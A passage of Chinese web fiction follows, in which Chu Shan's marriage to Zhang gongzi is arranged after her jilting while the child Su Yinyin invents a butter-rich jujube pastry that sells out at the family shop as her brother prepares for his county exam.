心里最后一点郁闷全都消散,一家人反而欢欢喜喜。 太好了! 他们家运气真好! 楚珊渐渐从难过里走出来,脸上笑容明显多了。 但他们收拾行李的速度也加快不少,赶紧准备准备回彬州过年。 还要把这个“好消息”告诉父老乡亲,那些笑话他家的,只能闭嘴! 不过全家默契回避另一个话题,给楚珊再寻亲事还是缓缓吧。 他们全家都被这事弄怕了。 便是要找,也要避开门第差距,更要避开读书人。 所以章公子等人频繁过来,粗线条的楚家人完全没想法,只是一个劲的感谢,还把带来的彬州特产分为大家。 即便有小红娘美名的苏茵茵在,楚珊爹娘也是一个劲的谢谢他们陪伴。 苏茵茵赶紧道:“是楚珊姐姐自己厉害,我们也没帮什么。” 说罢,她又看看章公子。 等到众人准备离开,章公子才落后两步,跟楚珊姑娘并肩,开口道:“想来等到开春,他们便会流放,到时候我必会写信告知。” 楚珊对此事确实好奇,认真感谢,还道:“那我家中地址留下,不过你要是送信,递给镖局的人也行。” 留了自家地址,楚珊还没察觉到什么,她抬头撞入章公子的眼神,颇有些不自在,好在对方及时避开。 章公子道:“希望此事,不会让楚珊姑娘对读书人有偏见。” 还别说,她差点就有了。 可楚珊到底是个有什么说什么的姑娘:“原本是有的,但你跟李公子不就很好吗。” 是读书人,却不借着识字欺负他们。 楚珊就差拍拍他肩膀,让他别多想。 章公子张张嘴,明显想说什么,却也没说话,他只是看着楚珊姑娘道:“一路顺风。” 如此说话,便是再迟钝,楚珊也发现不同,震惊地看向章公子:“你?” 既然被看出来,章公子索性拱手:“望楚珊姑娘不要介意,若有冒犯,还请直言。” “我何德何能?”楚珊脱口而出。 这确实是她真实想法。 经历过魏书生的事,便是再自信的人,也会多想一些。 即使心里已经有了答案,更知道不是自己的错,难免还会多想。 魏书生一看门第,二看学问。 她都不合格,所以她成了前未婚妻。 条件并不好的魏书生都被汴京官员看中选为女婿。 明显更优秀,学问,门第更好的章公子对她? 她何德何能。 章公子笑,眼睛闪亮,直言道:“你八百里单人单骑到京城,便是能。” “你一心要个说法,宁折不弯,是为德。” “两相比较,该是我不如你。” 楚珊有能力有胆识,还有宁折不弯的骨气。 魏书生痛哭流涕来求她回心转意,还许诺无数好处,许诺无数前途。 不少人大概便点头了。 毕竟稍微一算就知道,忍下委屈,便能得到不少“好处”。 可她不要,她明白那些东西得来都是有代价的,代价是尊严。 即使她门第不高,即使她没读过书,她的尊严也不能随意践踏。 若把这份骨气尊严打包卖个好价,她就不是楚珊了。 能撑起她一个姑娘家奔袭八百里来京城的,只能是这份尊严跟骨气。 其他的一文不值。 在章公子心中,她的傲骨方是读书人的追求。 读不读书这事,跟傲骨一点关系都没有。 这些话被章公子一一说出,让楚珊听得呆愣。 这还是她吗? 别的不讲,读书人确实会夸人。 楚珊直愣愣看向章公子,就像当时在人群里选中他看账本一样,带着审视跟信任。 苏茵茵回头一看,赶紧去扯原锐袖子:“原锐你看。” “小红娘战绩又添一笔。”李书生震惊道。 许小妹也没想到,惊喜之余也道:“章公子婚事这样艰难的都能成?” 好像是这么回事。 原本要离京回家的楚家再次停住脚步。 甚至还见证了蒋家,魏家下大狱的经过。 以及他们不敢想的门第前来提亲。 这事情是不是有点快啊。 他们家都准备好,过几年再给女儿说亲。 “果然是京城啊,大城市机会就是多?” 楚家挠头,干脆用魏家赔偿的银子在京城买了处宅院。 婚事成不成的再说,买个汴京的宅院又不会亏。 他们这边欢欢喜喜聊婚事。 大牢里得知楚家用银钱买了处京城宅院的魏书生,痛心的肝胆俱裂。 为什么! 为什么楚家能过得那么好。 还在京城买院子。 如果他没有抛弃未婚妻楚珊,那这院子说不定就是他的了。 如果他老老实实跟楚珊成亲,现在正搂着妻子在书房读书,等着来年的会试。 如果他不攀附蒋家,根本就不会连累下狱,成了万人指责的贪污举人! 还未做官,就想好怎么贪钱,谁听了都要骂一句。 “都怪你!”魏书生朝隔壁牢房骂去,“姓蒋的,都是你害的我!” “你还放高利贷,还诱骗我以后贪污,都怪你!” 蒋家就在隔壁牢房,听着魏书生不停咒骂,刚开始还能忍,后面也对骂起来。 “你就是什么好东西了?” “人家养你们母子十五年,我们不过写封信,你们就屁颠颠跑过来,这能怪我们?” “说实话,我家根本没想过你回来,十五年啊!养个狗都通人性了!你呢?你直接拿着人家给的银子跑了!” “笑死了,当时广撒网而已,谁知道会有你这种人上钩。” “跟你说实话吧!要跟你结亲的根本不是我妹子,是我买回来的侍妾!你个绿头王八。” “谁跟你这种人结亲,那倒了八辈子大霉!” “哦,人家现在都跟书香门第的人户结亲了,看来离开你才会好运气!” “我家这么倒霉,肯定跟你有关!” 撕破脸的两家不停咒骂,看管牢房的牢头乐呵呵看戏。 狗咬狗真好看! 第40章 “哥哥,出来吃饭啦。”苏茵茵轻轻敲了哥哥的房门。 苏显答了声,这才出来,手上还有未干的墨迹:“妹妹你跟爹爹娘亲先吃,我一会就来。” 苏茵茵掏出小手帕给哥哥擦手,还是道:“那我给哥哥端过来吧。” 说罢,苏茵茵去端饭菜,让哥哥在房间里吃。 前几日,苏茵茵全家去给哥哥报名童试,拿到官府文书时,一家子更有了孩子要科举的真实感。 苏显自然也不例外,如今进入腊月下旬,私塾彻底关门,他只能在家复习。 黄秀才,李书生,章公子他有空会过来看看,但马上年节,各家都很忙,特别是后面两人,他们还有更重要的会试。 故而这段时间,只能依靠自己的努力。 越是这种时候,越不能放松,苏显最近几天除了必要时候,根本不出房门。 家里人知道他用功,不好多劝。 好在茵茵还能喊动哥哥,年前年后也不去店里了,只在家陪着哥哥。 苏茵茵端来饭菜,苏显还在写字,见妹妹来了才回过神,赶紧去接:“晚上我跟家人一起用饭。” “没关系,爹娘不介意的。”苏茵茵还端来自己的饭菜,明显要陪哥哥一起,“只要哥哥觉得好就行。” 现在说不要紧张,放松,都是虚的。 还是考生觉得舒服才行。 吃过饭,苏茵茵拉着哥哥出门透透气,还把院子里秋千上的积雪清扫好。 两人玩了一阵,见哥哥实在想回去读书,苏茵茵自然乖乖跟着。 期间原锐还送来一本笔记,是他之前记下的,对小宝宝的哥哥应该有用。 不过原锐同样很忙,他说家里客人多,必须跟着见。 其实苏家也差不多。 苏家本就交际广泛,苏副使好友又多,今年过来的人,除了往年接济的旧友同僚之外,还有兵马司同为副使,甚至指挥使的家眷。 苏副使从七品升为七品,吏部文书已经下来,确实值得庆贺。 还有苏娘子生意上认识的人,以及因着小红娘结缘的夫妇都送来年礼。 一直到年节过完,家里陆陆续续还有客人。 翻过年,便是安盛五年了,又是一个新的开始。 正月初三,章公子跟楚珊携手过来拜访,估计好事将近。 章家对此确实犹豫过,但知道楚家跟魏书生的事之后,反而同情起来。 不仅如此,也觉得楚家如此忠厚,实在可交。 当然,也因为章公子之前婚事不顺的缘故。 “还因为你。”章公子不好意思道,“他们知道我俩因为你结缘,所以瞬间放心了。” 这也行?! 要说两家门第差距,可不是一般的大。 就因为自己小红娘的名声,直接忽略吗。 会不会有点太盲目了。 但看着过年时,周围人户家家拜神,原锐家也因为祭祀离开好多天,说是家里宗庙也要再祭,好像也理解了? 毕竟这是古代,迷信点也正常。 苏茵茵还是道:“好哦,那你们可要好好的,不然以后都要来骂我了。” 楚珊跟章公子笑。 他们才不会呢。 等到章公子会试结束,他们就张罗婚事了。 又是科举考试。 感觉整个京城都因为这事在忙哎。 送走他们两个,苏茵茵把自己迷你枣泥酥的方子再拿出来。 去年乡试那会,家里生意都好了些,今年会试,全国各地考生都来,人肯定更多,所以赶紧做出新品才是。 苏茵茵一边陪哥哥,一边琢磨方子。 就连年后家里开门她也没出去。 高筋面粉总算弄出来了,还因此弄出不少面筋。 好在面筋味道不错,不算浪费食物。 接下来便做枣泥馅。 苏茵茵原本以为大果姐姐家的果园有红枣,没成想她家没种,反而是来帮工的王婶子家种了两颗,从乡下给她带了些枣子过来 苏娘子为此也付了银钱,不会让大家吃亏。 至于孩子想做什么,随她就好。 苏娘子吃过宝宝做的面食,知道她很有天赋的。 初六店里开张,她去店里忙,留女儿儿子在家。 但叮嘱过她,小火可以,烤炉不能碰,安全最重要。 苏茵茵肯定答应,她不是乱来的人! 做枣泥,最重要的是红枣的甜度,以及炒制的时间。 王婶子带过来的红枣粒大饱满,空口都好吃,想来做成枣泥同样好。 用料很简单,红枣去核,再加植物油,少量清水即可。 先把去核的红枣煮熟,再搅拌成泥,过滤掉红枣渣。 接下来便是倒入锅中,开小火,一边搅拌一边倒入植物油,不多时红枣的香味便激发出来。 别说同一个屋檐下的哥哥了,就连隔壁邻居刘婶子都要睁大眼睛看一下。 “茵茵,什么味道这样香?” 苏茵茵大大方方取出枣泥馅:“婶娘你尝尝,看看甜不甜。” 微微发红的枣泥馅绵软香甜,不用尝就知道好吃! 苏显同样吃了一口,只觉得口感极好。 之前街上买的枣泥馅食物,绝对没有这般顺滑可可口啊。 见两人都喜欢,苏茵茵就知道枣泥馅做成了。 “你们苏家不愧是有手艺传承的,等你长大,说不定能重振苏家点心的名声呢。”刘婶子夸的真心实意,不过她也要赶紧出门,不能多说了。 她女儿腊月生了孩子,肯定要去照顾的。 苏茵茵连忙道:“等刘姐姐孩子满月,我也去看看宝宝。” “好好好,那满月酒,你该坐主位的。” 当年要不是茵茵宝宝,女儿的婚事大约不会这般好。 刘婶子走了,苏显又吃了两口,再回去读书。 如今已经正月初六了,再有一个月就要童试,他太紧张了。 好在明日私塾便提前开门,他们这批考童试的,总算有夫子教导。 考试,放在哪都是大难题啊。 苏茵茵想到她当年高考,赶紧摇摇头,不要去想这么可怕的事情! 不如把手头的迷你枣泥酥做好。 刘婶子方才说的苏家点心名声,她知道一点。 几十年前,苏家点心在整个京城都有些名气,不过这两辈没落了。 辉煌时刻谁都有,别把一刻当永久,这话还真没错。 枣泥馅做得非常好。 终于可以正式动手了。 苏茵茵小心翼翼拿出一小罐油脂。 放在这里,应该叫做醍醐,《本草纲目》里说,乳成酪,酪成酥,酥成醍醐。 到现代来说,大概类似于黄油。 这还是她意外在牛奶厂买到的。 她跟哥哥每日早上必要喝牛奶,家里跟那郊外水牛场的老板熟悉,得知他们用牛奶炼油,当时就意识到,这或许就是古代的黄油。 这东西在前朝被称为八珍之一,也就是如今水牛奶多了些,价格才稍稍往下降,否则她家根本买不起。 那老板还说:“这些年京城不少人户都喜欢喝牛奶,所以产量也多了。” “特别是大户人家,说是宫里都给太子殿下订牛奶,王公贵族们自然也跟上。” “也就这几年的事。” 还有这种事? 不过上行下效嘛,京城人跟风很正常。 不管怎么说,反正能拿到黄油,对苏茵茵来说,绝对是意外之喜。 只希望以后牛奶多多的,黄油也多多的,价格就能再降一些! 对她这个烘焙人来说,简直不要太好。 黄油隔水软化后倒入白糖搅拌,接着再把高筋面粉,更多的白糖倒入黄油里面。 最后加入鸡蛋液,再揉成光滑的面团。 面团放到寒冷的室外两刻钟,再进行下一步。 接下来面团分为三份,擀开后切成不规整的边角,最后做成长方形。 长方形里面加入枣泥,收口朝下,刷上鸡蛋液。 接着撒上白芝麻,切成一口一个的小段。 此刻家里厨房没有旁人,苏茵茵做得行云流水赏心悦目。 美中不足的是,她做什么都要踩着小凳子,否则够不到桌子啊。 最后一步,当然要进行烤制。 家里的烤炉并未加热,还是送到店里烤更好。 苏茵茵跟哥哥说了一声,提着小篮子快速出门。 店里跟家里距离并不远,小跑着一会就到。 店里这会生意一般,只有苏娘子一个人在。 “茵茵你怎么来了。”苏娘子连忙去接,“这里是什么?” “娘亲,这是我做的点心,店里炉子空着吗,我想用两刻钟。”苏茵茵乖乖给娘亲看点心。 苏娘子眼前一亮:“这就是你说的拇指枣泥酥?” “这么快就做好了。” 她以为还要等几日呢。 女儿做事,是不是太快了些,看来她真有这方面的天赋。 苏茵茵自然不能直说迷你枣泥酥,迷你毕竟是音译。 拇指两个字更为直观,像拇指般大小,那就是个头小呗。 “嗯,烤出来一口一个,不用粘手,也不会掉渣。” 苏茵茵说着,苏娘子已经去烤点心了,以她的眼光来看,这点心做得就漂亮,面团更带着不同的香味。 像是奶香? 难道是茵茵用了醍醐。 母女两人交流着做点心的心得,并一致同意,用黄油来做甜点,奶香味似乎更能激发甜味。 两人说着,街面零零散散有些路人。 刚过完年,多数人不会去点心店,这也是一年来最清闲的时候。 之前苏娘子母女两个趁着年后回老家学手艺,就是趁着一月二月比较闲,这才出去。 今年肯定不成的。 至少要等苏显考完童试。 不管能不能考过,他们全家肯定要陪着。 苏娘子抱着女儿给她暖手,但她的手暖呼呼的,原锐家送的暖衣果然极好。 想到这,苏娘子摸摸孩子的头发:“再过几日,宝宝就要五岁了。” 五岁,依旧是个小宝宝的年纪。 但再过几年,也不好整天跟男孩子们玩到一块。 特别是原锐,他家世不俗,年龄也渐长。 苏娘子看着乖巧的女儿,又笑,暂时不想那么多吧。 “好香啊。” “店家,你们家什么点心这样香。”带着皮帽的路人停下脚步,一个劲的闻慧女点心里面的味道。 “点心!” 苏娘子,苏茵茵下意识跑向烤炉。 母女两个聊得开心,竟然把这事给忘了! 还好路人问的及时,烤得刚刚好。 “店里新出的拇指枣泥酥,新品上市哦。”苏茵茵高兴道,“娘亲先尝。” 苏茵茵眼睛亮晶晶的,让苏娘子根本没法拒绝。 拇指枣泥酥不愧为这个名字,拇指跟食指便能拿住,一口一个,吃起来优雅体面。 但作为点心,最重要的还是味道。 “这个香味,这个枣泥。” “女儿你是怎么做的,枣泥口感绵密顺滑,表皮味道非常不同。”苏娘子刚想说黄油用在点心上,比想象中还要好,但没有讲出来。 这是他们店里的秘方了! 苏娘子又尝了一个,刚出炉的拇指枣泥酥太好吃了! 她一个做点心的,都忍不住多吃许多! “老板,你别光自己吃啊,怎么卖的,让我尝尝啊。”方才搭话的路人着急了,他闻着就着急啊! 苏娘子笑着道:“多亏你提醒我们,否则差点烤糊了,头两个送给你吧。” “现在还没正式开始卖呢。” 路人兴奋,直接塞到嘴里。 好香啊。 又香又甜,吃完整个人都开心了。 “这什么香味。” “苏娘子,你家又做新点心了?” “给我也来几个,怎么卖的啊。” “我也要,还没闻到过这么香的点心。” 苏娘子苏茵茵都没想到,她们只是试验一炉,根本没打算售卖。 可刚烤出来的甜品香味太让人上头。 如此温暖香甜的味道在大冬天,实在让人忍不住停下脚步。 原本冷清的店面人越来越多,都是冲着拇指枣泥酥来的。 苏茵茵算力超强在此刻派上用场。 心里仔细算了一遍所有食材成本,再加上餐饮合适的利润比,苏茵茵忽然有点结巴:“娘,这东西可能要卖到十文钱一个。” 十文钱一个拇指大小的点心。 这价格是不是太高了? 苏茵茵倒也不是奸商,而是材料成本真的太贵了。 先不说如今绝无仅有的高筋面粉,再加上珍贵的黄油,以及用了白糖,还有熬出来的枣泥。 特别是前两种,都不是随便都能买到的原料。 苏娘子听到这个价格,吃了一惊。 那清糖饼足有巴掌大小,也才八文钱。 这拇指大小的枣泥酥,是真的有些贵了。 两人头一次卖这么高价的点心,颇有些说不出口。 怎么回事,明明她们不是虚报价格啊。 “好吃,太好吃了,这枣泥是什么秘方吗?为什么口感香甜顺滑至此?” 方才免费品尝的路上掀开皮帽,焦急道:“我要再买两个,不,买十个!” 顾客目光殷切,苏茵茵小声道:“十文钱一个,你确定吗?” 十文钱? 被香味吸引过来的顾客们傻眼。 这么小一个,十文钱? 不是抢钱吧。 苏娘子连忙解释:“用了很好很贵的材料,没想到会这样贵。” “这也是头一炉,只能是这个价了。” 她才不会质疑女儿的计算能力,肯定不能少了。 “来!十个!”方才尝过的客人道,“南城的小八件一个还要二十文呢,也没见大家少买。” 那能一样吗! 南城的点心,出了名好吃,贵是应该的。 这小店面,能一样? 尝过的顾客掏出银子:“十个,就是一钱银子,店家你数数,快给我点心啊。” 苏娘子苏茵茵对视一眼,母女两个利落装好,收下银钱。 十文钱一个的拇指枣泥酥有市场! 围观的客人见此,不少心动了。 买一个尝尝也行啊,虽然只有一口。 谁让味道那样香甜。 这一尝,场面控制不住。 “我也要十个!” “我要五个!” “好吃啊,这味道绝无仅有。” “吃得太快,没尝到味!” 奶香跟香甜的枣泥馅料简直是绝配。 而且这面粉好像也不一样,好像更酥?更香? 为什么啊。 别问为什么了,终于知道人家说原料好是什么意思。 这么好吃的点心,怪不得卖十文一个! 现在看来一点也不贵! 慧女点心门前瞬间排气长队,路过的百姓见此都要问一句:“买什么呢,竟然有这么多人。” “好吃的?我也试试,这么多人排队,肯定好吃。” 苏茵茵心道不好,往队伍里看了看,又看了剩下的点心,连忙挥手:“大家不要排啦,新品点心只有一炉,排到你们就没了。” 一炉八十个,已经卖出大半。 什么? 只有一炉? 那更要买了啊。 苏茵茵无奈,她真的没想饥饿营销,就怕顾客排队许久却没买到,那样一定会生气失望的。 经过苏娘子母女多番劝说,总算让大家不再排队,并承诺道:“今日只有这一炉,明日再来,明日肯定准备好。” 只有苏茵茵一个人,肯定做不过来的,苏娘子肯定要学会之后再说。 买到的客人震惊拇指枣泥酥的好吃,没买到的则扼腕称叹。 那味道真的太香了,再看看买到点心之人的表情。 真有那么好吃? 明天一定要来尝尝。 一炉点心很快卖完,没买到的只好随意带了些其他点心回去。 开年开业头一次,慧女点心的生意意外的好,连带着整条街都热闹不少。 苏娘子看着空空如也的篮子,哎呀了声:“忘记给你爹爹哥哥留一些了。” “我留了。”苏茵茵掀开另一边的食盒,“还热着呢,我给哥哥带回家。” “好宝宝,可惜你爹吃不到第一炉热乎的了。”苏娘子夸道。 等点心送回家中,苏显还在看书,见妹妹送点心过来,想吃又怕沾手,一会不好写字。 而且点心渣掉下来,容易招惹老鼠等物,虽说是冬日,他也不想在书桌前吃东西。 不过食盒打开,看到一口一个的点心,好像不会掉渣?手也不会特别脏? 苏茵茵不知道哥哥的想法,她还要教娘亲怎么做拇指枣泥酥呢。 苏娘子做过的点心也不少,只要明白原理之后,很快就能上手。 只是如何用黄油,还要多练习练习。 知道所用的原料后,苏娘子感叹:“特制的面粉不易得,黄油也很贵,怪不得这样好吃。” 十文钱确实很值得了。 一个下午时间,苏娘子掌握了拇指枣泥酥的做法。 明日,慧女点心新品上市! 拇指枣泥酥! 苏娘子开始做,那就不止一炉了,就连第二日上学的苏显,当差的苏副使,都带了不少新点心才出门。 特别是苏显,他昨日发现,这种点心吃起来方便文雅,不会污了纸张笔墨,甚至适合考试的时候用。 那样可以最大程度保持纸张的整洁。 等他童试时就要带这种点心去考场。 哥哥苏显一门心思就是童试,他知道,自己只有考中了,才对得起家里人对他的照顾,才能保护好家里所有人。 此刻的慧女点心门前排起长队。 不光是昨日没买到的客人,还有因为被点心香味吸引而来的。 没办法,刚出炉的拇指枣泥酥太香了! 香到走不动道! 苏娘子母女傻眼,本以为准备已经够充分,怎么还有这样多的人? 为了让更多排队的客人不白费功夫,只好把限购暂时拿出来。 每个人最多买十个,多的不卖了。 她们会尽力让大家都吃上点心的! 隔壁卖酱料的老板娘见此,还特意过来帮帮忙。 都是街坊邻居,帮把手的事。 孙家孙东俊所在的私塾要等到十五之后才开学,干脆也过来帮忙。 翻过年七岁的他倒是瘦了点,平日在自家店里帮过忙,在这帮着装点心,动作很利落。 长长的队伍直接排到其他店门口,引得更多人来看。 到底是什么点心,这么吸引人? 问这话的人闻到刚刚出炉的拇指枣泥酥,立刻投入排队的行列。 他们也要吃! 太香了吧! 而苏显所在的私塾里,进士夫子盯着苏显的点心看了几眼。 帮着带学生的黄秀才给苏显使眼色,点心便送给夫子。 进士夫子看了看自己最喜欢的两个学生,板着脸道:“是图你这点心吗。” 话是这么说,夫子还是尝了尝,随口道:“很好,很不错。” “今年去考童试的学生,都去买这个。” 为什么? 另外四五个黑着眼圈的学生抬头。 是很好吃吗。 “吃吃吃,就知道吃。”进士夫子严肃道,“童试一考就是一整日,中午饿着肚子考试吗?” “贡院发的饼又冷又硬,还容易污了卷子,这种点心最适合带到考场。” 考过进士的夫子,不知道经历多少科举考试,一眼就看出这个点心的妙处。 方才尝了之后,又觉得甜而不腻,更适合带到考场,做考场专用点心。 “听到了吗,回家之后都让家里准备。” “今年若只有一个考上秀才的,回来等着瞧。” 众人看向苏显。 买,我们买还不成吗。 但这味道,如何啊? 苏显颇有些不情愿,可看在同窗的份上,闭着眼分享拇指枣泥酥:“你们尝尝吧。” “记得去我家买!” 40-50 第41章 安盛五年,正月初八上午,汴京西市。 “下一炉还要等两刻钟,同样限购十个,大家不想排队的可以回头再说。”苏娘子跟队伍后面的顾客道,“估计还要排很久。” 苏娘子跟苏茵茵是一样的想法,担心顾客排队太久,到时候再卖不上,那也太辛苦了。 可不管他们怎么说,队伍纹丝不动,并且道:“没事,我们可以等。” “对啊,昨天吃了你家的拇指枣泥酥,又去吃其他家的枣泥酥,味道完全不一样。” “没错我们等就好了。” “就是这吧,这么多人。” 说话的几个妇人,身边基本都带了丫鬟,她们正是苏显同窗的母亲。 昨日回家之后,他们几家的孩子们喊着要吃拇指枣泥酥,让她们一定要去买。 这就算了,还说什么,进士夫子讲,考童试的时候,最好就带这种点心。 只是孩子想吃就罢了,夫子也这样讲,那她们肯定要亲自来一趟。 没想到在附近碰到,便一起过来。 听说这是孩子同窗家开的,其中一位妇人道:“这家是什么门第,店面肯定不小吧。” 话音落下,大家看到小小的慧女点心。 就这么大? 不会吧,在进士夫子那读书的,不会这样穷酸吧。 “我听说,是有一家,条件很一般的,就是他们吧。” 有两个妇人皱眉,难道是夫子收了他家的礼,故意推荐她们这些冤大头来买。 “点心真有那么好吃?” 妇人们只是自己吐槽,没想到被排队的人听到:“特别好吃,我告诉你,特别值,别看十文钱一小个,但那味道,简直绝了。” 其中梁夫人则惊喜道:“排了这么多人,味道肯定不错的。” 说罢,又给同行妇人使眼色:“这是小红娘家啊。” 小红娘? 众人赶紧看过去。 对啊,小红娘家。 她们住在西市,谁会不知道小红娘。 算了,她家的点心买就买了。 好在她们不用排队,毕竟是孩子同窗,说是给她们预先留了几份。 苏娘子听说之后,笑着道:“早就留下了,不用给钱,都是同窗。” 昨天苏显回家也说了这事,还有点点委屈。 拇指枣泥酥他只吃一个,剩下的都被同窗“抢”走,还要拿上好的笔墨跟他换。 梁夫人却道:“这怎么行,那么多人等着买呢,我们不用排队,已经沾光了。” 说着赶紧让丫鬟给钱,她看向旁边可爱至极的小姑娘,惊喜道:“小红娘?” 苏茵茵抬头,甜甜地朝哥哥同窗家人行礼,乖巧打招呼。 喊了一圈之后,妇人们心里软软的。 这小姑娘,太招人喜欢了,真想抱一抱啊。 很快她们又意识到另一件事,排队的顾客,看向她们眼神里带着羡慕,甚至嫉妒。 为何? 因为这些点心。 “新的一炉做好啦,大家不要挤。” 扑面而来的香味让众人愣住。 这就是儿子哭着要吃的枣泥酥? 可这味道,就完全不一样! 众人赶紧接过自己的,迅速尝了一口。 吃遍美食的梁夫人眼睛直接亮了,带着丫鬟直接排队。 手里这十个怎么够吃,必然要多多买些的。 其他妇人们脸色微红。 方才还说店面太小,以为点心也一般,现在都被打脸了。 此等美味,简直闻所未闻啊。 怪不得孩子爱吃,她们也喜欢啊。 梁夫人还道:“看着点心的大小,正适合读书间隙时用,怪不得夫子说,让我们多备下,等到童试的时候带着呢。” 众人点头称是,同样在排队的其他顾客听说,下意识点头。 他家也有亲戚准备科举,要不然告诉他,让他这样准备? 眼看队伍越排越长,苏娘子一刻都不停歇,看样子还是要找个帮工。 但这一找,就要长期的了,在乡下的王婶子他们肯定不成。 还好之前认识的一个军户娘子,她家最近也搬到京郊住,请她过来倒是合适。 苏娘子也说的实在,现在不知道拇指枣泥酥还能火多久,故而也算个临时的差事,等风头过了,到时候再谈去留。 这种招工很常见,闲时不需要人,忙的时候再招工。 谁也不知道这点心能买到什么地步。 慧女点心从最开始一个小店面,到如今多了仓库,厨房,再加上常用工,生意越做越好了。 新来的帮工娘子自然希望点心多多卖一些,她能挣些家用。 之前周娘子过来帮过忙,一日五十文,现在同样如此,但天数更多,所以十分珍惜这份工作。 南城,王家饼店,伙计捧着买来的五个拇指枣泥酥,恭敬递给东家。 “这就是他们排队也要买的吃食?”王东家凑近看了看,“果然不错。” “刘师傅,您尝尝。” 被称为刘师傅的出厨子,正是王家饼店聘请过来的白案师傅,专攻点心不说,手头的小八件做得极好,也是王家饼店的招牌。 刘师傅并未直接吃,而是先观察点心的形状,仔细看看这是如何起酥的,随后闻了闻味道:“奶香,可是加了牛奶或羊奶。” “也不对,一点也没有牛奶的腥膻。” “还是在水里加的。” 再掰开馅料,刘师傅捏了一小块尝尝:“这馅料做得扎实,用的枣也不错,做得如此细腻,下了苦功夫。” 馅料并不算太难学的东西,大师傅只要一尝,就知道是怎么做的。 普通店面做的不惊喜,熬制枣泥的时候,懒得把渣子过滤,糖放的也不精确,所以味道不好说。 慧女点心的枣泥馅做的用心。 不过枣泥可以学,表皮呢? 刘师傅发现,表皮不仅带了奶香,还有丰富的油脂香味,这香味竟然跟甜香融合。 最重要的是表皮。 这酥皮如何做的,为何这样不同? 如果苏茵茵知道刘师傅的分析,肯定要夸一句厉害的。 枣泥一尝就知道怎么做的。 至于表皮则是知识盲区,不怪刘师傅尝不出来。 “那您能试着做一下吗,京城许多点心店都在研究拇指枣泥酥,咱们也不能落后啊。”王东家连忙道。 “好,我试试,但不能保证完全一致。” 这几年京城各大点心店,基本都是这样。 谁家做出新品,那其他人家一定要试试,否则就落后于人了。 一般的点心,风靡半个月一个月,差不多就被同行店里复制出来,成为各家的常备点心。 特别是南城各大点心铺,卷得飞起,南城住的都是达官贵人,吃的用的更挑剔,稍不留神就会被顾客抛弃。 难啊。 慧女点心的生意暂时不受影响,谁让她家点心确实独一无二。 就连兵马司同僚,都托苏副使帮忙买点,否则排队就要半个时辰。 周娘子过来之后,店里压力缓解不少,苏茵茵被苏娘子强行按下休息。 这么小的娃娃,不能太劳累了。 店里生意太好,也愁人啊。 一直到苏茵茵生辰当天,店里才休息半日。 但就算休息半日,店门都被敲了无数次。 李锐渊则带着茵茵宝宝给的一匣子点心回家。 别人需要排队才能买到的点心,茵茵宝宝给他装许多个,根本吃不完。 半日之后,慧女点心的生意不降反增。 特意过来给店里送枣子的王娘子还道:“都说京城点心火不过半个月,如今已经十好几天了吧。” 当时苏茵茵想要红枣,给店里做过帮工的王娘子特意选了最好的过来。 没想到那只是个开始,慧女点心要的红枣越来越多不说,京城大部分点心铺都开始卖枣泥做的点心。 京郊不少农户手里的红枣都被问过价,让农户因为这股红枣泥的风潮小赚一笔。 所以王娘子虽然不能经常过来做帮工,却在这上面挣了些银钱。 王娘子带来的红枣,还是又大又香甜的,她可是专门给慧女点心留下的。 苏茵茵小跑过去看,点头道:“谢谢王娘子,家里红枣马上就见底了。” 不仅如此,京城的红枣价格都往上涨了些。 “该是我谢谢你们。”王娘子说着,又道,“现在许多点心店都在做枣泥馅的点心,你们不怕吗。” 别说苏茵茵了,便是苏娘子都笑:“不怕,我们有秘方。” 不是她们娘俩骄傲,是不管其他点心店如何复刻,都摸不清拇指枣泥酥的诀窍。 谁让里面的步骤那样复杂呢。 枣泥酥并非慧女点心自己研究出来的吃食。 枣泥的点心更是五花八门。 可各家怎么做这点心,都有自己的诀窍,只不过味道不太相同罢了。 所以她们根本不怕同行模仿。 因为大家根本模仿不到精髓的。 其他店里也不纠结,既然做不出人家的奶香酥皮,干脆在枣泥上下功夫。 等到二月份,京城各个集市上,出现琳琅满目的枣泥制品。 什么枣泥糕,什么枣泥烧饼,还有枣泥上又加了层奶油,试图加牛奶的枣泥酥。 苏茵茵尝完之后,感觉自己这辈子都不想碰枣泥了! 为什么要尝? 同行调研啊! 他们调研自家的,自家也能往外看看。 吃过之后,苏茵茵确定:“有三家的枣泥做得更好,像是加了蜂蜜,红枣的品质似乎更上乘。” 苏娘子点头:“不过表皮没有人试出来,但他们好像用牛奶代替水,只是腥膻味去的差了点。” “这个王家饼店做的最好,他们用了最好的枣泥馅,表皮还是用最成熟的传统做法,为了增加风味,特意加了清甜的奶油。” 古代自然也有奶油,一种名为酥山的甜点,最上面就有奶油裱花,只不过价格不低,所以只有南城才有。 王家饼店的大师傅必然是尝到奶香味,但又觉得牛奶代替水的味道太淡且腥,加糖太多又过甜,这才想到用奶油做配。 这家大师傅对点心的造诣,实在高深。 同时他家的枣泥做的也最好。 根据外面不同的风味,慧女点心的拇指枣泥酥也做了一定的改良。 把枣泥里的白糖换成更清甜的百花蜜,原料是贵了些,但增加清爽的甜味,更符合汴京人口味。 苏茵茵心道,怪不得汴京点心迭代那样快,所有人都在做改良啊。 这种环境下“厮杀”出来的点心,肯定更符合顾客的口味。 为了让汴京百姓吃到更好吃的点心,他们这些点心店师傅们会更努力的! 不过对慧女点心来说,点心研究暂停一日,哥哥苏显马上要去考童试,全家跟着紧张。 二月初六,李锐渊都跟着过来。 年前年后他事情极多,就连这次会试,太傅都带着他参与其中,但这种重要的事,还是抽空过来。 今年冬天李锐渊在京城渡过,天依旧很冷,夜晚也会睡不着。 但他依旧留在京城,用饭比之前多了些,一个冬天时间长高不少。 西市贡院门口,苏茵茵握着哥哥的手,虽然没说话,但眼里都是安慰。 苏副使拍拍孩子肩膀:“这是你第一次科考,考成什么样都没关系,以后再说。” 苏娘子蹲下来:“不用给自己那么大压力,再多几年,家里供得起。” “是啊哥哥,反正就是试试。”苏茵茵跟着道。 李锐渊点了点头:“你方十二,一般人考上秀才,至少要十六七,已经可称天才。” 旁边进士夫子欲言又止,最后摆摆手,不给学生们压力,让他们快点进考场。 这一批六个学生,都过来跟苏娘子,苏茵茵告别。 他们都买了苏家的点心! 不仅好吃!还方便科考呢,肯定要来感谢。 进士夫子紧张万分,黄秀才扶着夫子道:“没关系,他们中间有四人去年考过,今年约莫有把握。” “怎么会没关系。”进士夫子咬牙,“去年十多个考生,只有你一个考中,其他人不思进取,还以为是老夫教得不好,竟然跑了五个。” “今年若考上的学生不多,那老夫的名声怎么办。” 好家伙是在担心自己今年的招生情况。 